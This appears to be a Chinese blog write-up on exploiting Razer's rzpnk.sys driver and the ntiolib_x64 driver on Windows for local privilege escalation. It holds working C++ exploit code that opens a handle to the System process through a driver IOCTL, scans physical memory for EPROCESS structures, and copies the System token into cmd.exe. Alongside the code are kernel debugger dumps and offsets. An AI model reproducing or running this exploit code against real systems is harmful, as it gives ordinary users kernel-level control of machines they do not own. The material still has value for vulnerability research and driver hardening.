~~漏洞样本文件~~
分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe
或者rzdriverinstaller.exe
create dispatch:
DriverObject->MajorFunction[0]=(PDRIVER_DISPATCH)sub_1CC10;
sub_1CC10间接调用到函数sub_10C40,在该函数中检查进程名
满足这个条件后,随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095
然后我们通过IDA可以看到IoControl的派遣函数列表
DriverObject->MajorFunction[0xE]=(PDRIVER_DISPATCH)sub_12650
sub_12650函数会调用函数数组中的+14h,即sub_10B40函数
靠,之前分析错驱动了
zwopenprocess
前面的当我没写
真正的漏洞驱动文件是这个
使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数,获取任意进程的句柄
#include<windows.h>
#include<iostream>
intmain(){
printf("0x%x\n",GetCurrentProcessId());
system("pause");
// [Get Driver Handle]
HANDLEhDevice=CreateFileA(
"\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
FILE_READ_ACCESS|FILE_WRITE_ACCESS,
FILE_SHARE_READ|FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,
nullptr
);
if(hDevice==INVALID_HANDLE_VALUE){
std::cout<<"\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n",GetLastError());
return1;
}
else{
std::cout<<"\n[>] Driver access OK..\n";
std::cout<<"[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
std::cout<<"[+] Handle: "<<hDevice<<"\n";
}
// [Prepare buffer & Send IOCTL]
// Input buffer (PID 4 + 0)
unsignedcharInBuffer[16]={0};
*(reinterpret_cast<INT64*>(&InBuffer[0]))=0x4;// PID 4 = System
*(reinterpret_cast<INT64*>(&InBuffer[8]))=0x0;// 0x0
// Output buffer 1KB
LPVOIDOutBuffer=VirtualAlloc(
nullptr,
1024,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if(!OutBuffer){
std::cout<<"\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);
return1;
}
// Ptr receiving output byte count
DWORDBytesReturned=0;
// 0x22a050 - ZwOpenProcess
BOOLCallResult=DeviceIoControl(
hDevice,
0x22a050,
InBuffer,
sizeof(InBuffer),
OutBuffer,
1024,
&BytesReturned,
nullptr
);
if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
VirtualFree(OutBuffer,0,MEM_RELEASE);
CloseHandle(hDevice);
return1;
}
// [Read out the result buffer]
std::cout<<"\n[>] Call result:\n";
std::cout<<std::hex<<std::uppercase
<<*(reinterpret_cast<INT64*>(OutBuffer))<<"\n";
std::cout<<std::hex<<std::uppercase
<<*(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer))+8))<<"\n";
// Cleanup
VirtualFree(OutBuffer,0,MEM_RELEASE);
CloseHandle(hDevice);
return0;
}
这内核代码写的是真傻逼
如何进一步利用这个漏洞
另一个洞
这个驱动好像还有一个洞,在ZwMapViewOfSection函数上面,不过看这个洞之前,需要先看一下这篇文章
这篇文章中提到的漏洞驱动文件
如上图所示,可以直接使用控制码0xC3506104映射物理内存
要想利用这个来扫描内存中的EPROCESS结构体,需要先了解一些知识
windows内核中的对象的内存布局
PoolHeader的结构
那么我们扫描到Eprocess的内存Tag:Proc
之后,-4就可以得到EPROCESS所在内存的起始位置
跳过PoolHeader和Object_header就可以得到EPROCESS的地址
OBJECT_HEADER->Body就是EPROCESS的内容
那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该
kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n1
+0x008 HandleCount : 0n0
+0x008 NextToFree : (null)
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : 0xbc ''
+0x019 TraceFlags : 0 ''
+0x019 DbgRefTrace : 0y0
+0x019 DbgTracePermanent : 0y0
+0x01a InfoMask : 0x4c 'L'
+0x01b Flags : 0x41 'A'
+0x01b NewObject : 0y1
+0x01b KernelObject : 0y0
+0x01b KernelOnlyAccess : 0y0
+0x01b ExclusiveObject : 0y0
+0x01b PermanentObject : 0y0
+0x01b DefaultSecurityQuota : 0y0
+0x01b SingleHandleEntry : 0y1
+0x01b DeletedInline : 0y0
+0x01c Reserved : 0x273
+0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
+0x028 SecurityDescriptor : (null)
+0x030 Body : _QUAD
kd> !object ffffe18d`8544c110
Object: ffffe18d8544c110 Type: (ffffe18d78ae1140) File
ObjectHeader: ffffe18d8544c0e0 (new version)
HandleCount: 0 PointerCount: 1
Directory Object: 00000000 Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110
nt!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffe18d`798918f0 _DEVICE_OBJECT
+0x010 Vpb : 0xffffe18d`798d35b0 _VPB
+0x018 FsContext : (null)
+0x020 FsContext2 : (null)
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0 ''
+0x050 Flags : 0x44040
+0x058 FileName : _UNICODE_STRING "\Windows\System32\wshbth.dll"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
+0x0d0 FileObjectExtension : (null)
从这张图中可以看到,实际的EPROCESS距离POOL_HEADER的差值是0x70,而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C
POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER,这个是可选的header,具体数量不确定,但是对于我们的EPROCESS对象,我们随便找一个进程看一下就可以确定一共有几个可选HEADER了,这个是由object_header的infomask决定的
0x88的话那就是两个可选header: OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO
我又随便找了几个进程,infomask的值都是0x88,虽然这个地方的值都是0x88,但是有的差值是0x70,有的是0x80
System进程直接没有可选header,infomask的值直接就是0,差值是0x40,那我们就先定位System
然后再定位一个cmd(差值0x80),然后把system的token写入到cmd中
写入内存
前面我们提到可以使用iocode 0xC3506104来读取物理内存,当需要写入的时候我们需要使用另一个iocode 0xC350A108
从上图中可以看到是往映射出来的内存中写入数据
inBuffer的0x10保存原始内存起始地址,0xc保存size,0保存目的物理地址
这个傻逼洞好像根本就没有办法利用,mmmapiospace总是崩溃,或者是返回0,根本就没办法用
这个玩意儿根本就没有办法稳定利用,因为调用mmmapiospace之前需要先锁内存页
不管怎么样,我把搜索EPROCESS的代码放在这里了:
#include<windows.h>
#include<comdef.h>
#include<Wbemidl.h>
#include<iostream>
#include<unordered_map>
#include<algorithm>
#include<cstdio>
#include<cstdlib>
#include<cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR
DWORD64q(PBYTEa1){return*(DWORD64*)(a1);}
DWORDd(PBYTEa1){return*(DWORD*)(a1);}
WORDw(PBYTEa1){return*(WORD*)(a1);}
UCHARb(PBYTEa1){return*(PBYTE)(a1);}
b1*GMemBuffer;
voidgetHardwareMappings(std::unordered_map<uint64_t,uint64_t>&hardwareMappings)
{
if(FAILED(CoInitializeEx(0,COINIT_MULTITHREADED)))
{
return;
}
if(FAILED(CoInitializeSecurity(NULL,-1,NULL,NULL,RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,EOAC_NONE,NULL)))
{
CoUninitialize();
return;
}
IWbemLocator*pLoc=NULL;
if(FAILED(CoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator,(LPVOID*)&pLoc)))
{
CoUninitialize();
return;
}
IWbemServices*pSvc=NULL;
if(FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"),NULL,NULL,0,NULL,0,0,&pSvc)))
{
pLoc->Release();
CoUninitialize();
return;
}
if(FAILED(CoSetProxyBlanket(pSvc,RPC_C_AUTHN_WINNT,RPC_C_AUTHZ_NONE,NULL,RPC_C_AUTHN_LEVEL_CALL,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,EOAC_NONE)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}
IEnumWbemClassObject*pEnumerator=NULL;
if(FAILED(pSvc->ExecQuery(bstr_t("WQL"),bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"),WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL,&pEnumerator)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}
std::vector<std::pair<uint64_t,uint64_t>>ranges;
IWbemClassObject*pclsObj=NULL;
ULONGuReturn=0;
while(pEnumerator)
{
HRESULThr=pEnumerator->Next(WBEM_INFINITE,1,&pclsObj,&uReturn);
if(0==uReturn)
{
break;
}
VARIANTvtProp;
pclsObj->Get(L"StartingAddress",0,&vtProp,0,0);
uint64_tstartAddr=0;
swscanf_s(vtProp.bstrVal,L"%lld",&startAddr);
VariantClear(&vtProp);
pclsObj->Get(L"EndingAddress",0,&vtProp,0,0);
uint64_tendAddr=0;
swscanf_s(vtProp.bstrVal,L"%lld",&endAddr);
VariantClear(&vtProp);
pclsObj->Release();
ranges.push_back(std::pair<uint64_t,uint64_t>(startAddr,endAddr+1));
//printf("%0I64X %0I64X\n", startAddr, endAddr);
}
//insert dummy range <0xF0000000, 0xFFFFFFFF>
ranges.push_back(std::pair<uint64_t,uint64_t>(0xF0000000LL,0x100000000LL));
std::sort(ranges.begin(),ranges.end());
autoit=ranges.begin();
std::pair<uint64_t,uint64_t>current=*(it)++;
while(it!=ranges.end())
{
if(current.second>=it->first)
{
current.second=max(current.second,it->second);
}
else
{
hardwareMappings[current.first]=current.second-current.first;
current=*(it);
}
it++;
}
hardwareMappings[current.first]=current.second-current.first;
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
}
boolwritePhMem(HANDLEhDevice,b8destPhAddr,b8b8Value);
HANDLEgetDriverHandle();
b8elevatePriv(HANDLEhDev,std::unordered_map<uint64_t,uint64_t>hwHole);
boolmapPhMem(HANDLEhDevice,b8phStart,b4size);
intmain(){
HANDLEhDevice=getDriverHandle();
// Output buffer 1KB
LPVOIDOutBuffer=VirtualAlloc(
nullptr,
STEP,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if(!OutBuffer){
std::cout<<"\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);
}
GMemBuffer=(b1*)OutBuffer;
std::unordered_map<uint64_t,uint64_t>mapping;
// 枚举出来所有的设备内存范围,不然读取到这些内存地址会直接导致蓝屏
getHardwareMappings(mapping);
for(constauto&pair:mapping){
printf("0x%p -> 0x%p\n\n",pair.first,pair.second);
}
system("pause");
// 然后就可以和驱动交互来读写内存了
printf("trying to elvate my privilege\n");
elevatePriv(hDevice,mapping);
return0;
}
b8elevatePriv(HANDLEhDev,std::unordered_map<uint64_t,uint64_t>hwHole){
b8systemToken=0;
b8cmdTokenPhAddr=0;
// 基本思想就是扫描整块物理内存,来定位系统进程的EPROCESS
// 但是我们要调过硬件内存区域
b8phMemSize;
// 获取系统上安装的物理内存的大小 单位是kb 1024bytes
GetPhysicallyInstalledSystemMemory(&phMemSize);
// 那么物理内存地址的最大值应该是
// 每次读取一个内存页 4kb
b4step=STEP;
for(b8i=0;i<phMemSize*1024;i+=step){
// 跳过硬件范围
autoit=hwHole.find(i);
if(it!=hwHole.end())
i+=it->second;
if(!mapPhMem(hDev,i,step)){
printf("read physical mem failed\n");
continue;
}
printf("start addr: 0x%p\n",i);
// 读取内存
// GMemBuffer
// 这里涉及了一些关于windows内存的知识
printf("mem succeed\n");
// EPROCESS所在的内存中有一个tag,就是Proc,翻译成b4就是 636F7250
for(b4j=0;j<STEP-4;j++){
// 这里需要注意,如果j+4已经超过了0x1000,就要终止循环了
if(*(b4*)(GMemBuffer+j)==0x636F7250){
printf("located eprocess mem region\n");
if(!strcmp((char*)(GMemBuffer+j+SYSTEM_IMAGE_NAME_OFFSET),SYSTEM_IMAGE_NAME)){
systemToken=*(b8*)(GMemBuffer+j+SYSTEM_TOKEN_OFFSET);
printf("system token get: 0x%p\n",systemToken);
if(cmdTokenPhAddr)
gotoEND;
}
elseif(!strcmp((char*)(GMemBuffer+j+CMD_IMAGE_NAME_OFFSET),CMD_IMAGE_NAME)){
// 记住物理内存地址
cmdTokenPhAddr=i;
printf("cmd.exe token physical address get: 0x%p\n",i);
if(systemToken)
gotoEND;
}
}
}
}
END:
// TODO
// 这里需要进行写入
writePhMem(hDev,cmdTokenPhAddr,systemToken);
return0;
}
boolwritePhMem(HANDLEhDevice,b8destPhAddr,b8b8Value){
unsignedcharInBuffer[0x18]={0};
*(reinterpret_cast<INT64*>(&InBuffer[0]))=destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0x10]))=destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0xc]))=8;
// Ptr receiving output byte count
DWORDBytesReturned=0;
BOOLCallResult=DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer,// outbuffer随便填,因为根本就用不到
8,
&BytesReturned,
nullptr
);
if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
CloseHandle(hDevice);
}
return1;
}
HANDLEgetDriverHandle(){
HANDLEhDevice=CreateFileA(
"\\\\.\\NTIOLib_ACTIVE_X",
FILE_READ_ACCESS|FILE_WRITE_ACCESS,
FILE_SHARE_READ|FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,
nullptr
);
if(hDevice==INVALID_HANDLE_VALUE){
std::cout<<"\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
}
else{
std::cout<<"\n[>] Driver access OK..\n";
std::cout<<"[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
std::cout<<"[+] Handle: "<<hDevice<<"\n";
}
returnhDevice;
}
boolmapPhMem(HANDLEhDevice,b8phStart,b4size){
unsignedcharInBuffer[0x10]={0};
// inBuffer的0x8存一个b4,值为1,指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
// outBuffer将存储映射出来的物理内存
// inBuffer的0xC存一个b4作为要映射的size
// inBuffer的0存一个b8,作为物理内存的开始地址
*(reinterpret_cast<INT64*>(&InBuffer[0]))=phStart;
*(reinterpret_cast<INT64*>(&InBuffer[8]))=1;
*(reinterpret_cast<INT64*>(&InBuffer[0xc]))=size;
// Ptr receiving output byte count
DWORDBytesReturned=0;
BOOLCallResult=DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer,
size,
&BytesReturned,
nullptr
);
if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
CloseHandle(hDevice);
}
printf("bytes count read out: 0x%x\n",BytesReturned);
return1;
}
虽然没有办法稳定利用MmMapIoSpace ,但是我们可以稳定利用ZwMapViewOfSection
rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数,并可以直接控制handle参数,映射结果会返回给outbuffer
sub_17840
ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);
其中a3为inbuffer的0x10(section handler),a4为inbuffer的0x20(CommitSize)
也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数,以及第7个参数ViewSize,由我们的a4控制,也就是可以控制实际上要映射多大的内存出来,我们直接指定a4为0即可映射整个section
映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18
那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可
我们先使用老版本的processhacker(密码是1)看一下这个section的句柄值
0x550和0x574都是可以的,当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的,这里只是为了获取当前操作系统版本的section类型的index值
使用这个代码,输出如下:
好了,我们现在知道section类型的index值是42了
但是还有一个问题,就是system进程中有很多section,我们用户模式下是无法知道每个handle对应的名称的,但是通过我的观察,\Device\PhysicalMemory的handle值是比较靠前的,如果将所有的section handle按照升序排列,那么在前十个里面肯定可以找到\Device\PhysicalMemory
那么我们来试着写一下代码
我们好像不能把ViewSize指定为0,因为我们没有办法接收返回参数,我们只能传入,无法获取传出的值
那么我们只能把a4写成当前机器的物理内存大小了,但是我们只能使用dword来指定,dword最大只能描述4GB的内存,如果机器超过4gb的物理内存就不行了,我想到一个办法,那就是先指定物理内存大小,如果超过4GB就指定4gb,然后使用前10个handle value进行调用,如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F(存储在outbuffer的0x28),我先来测试一下
inbuffer和outbuffer的size要超过0x30
验证成功: 代码
这样我们就获得了\Device\PhysicalMemory的句柄值,我们使用这个句柄值重新映射,这次传入viewsize为0
我靠,我指定0,他说我内存不够,错误代码c0000017,那算了,我还是直接指定实际的内存值吧
定位到cmd.exe的eprocess
演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的,这个我也不太清楚是为啥
反正可以正常提权就行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论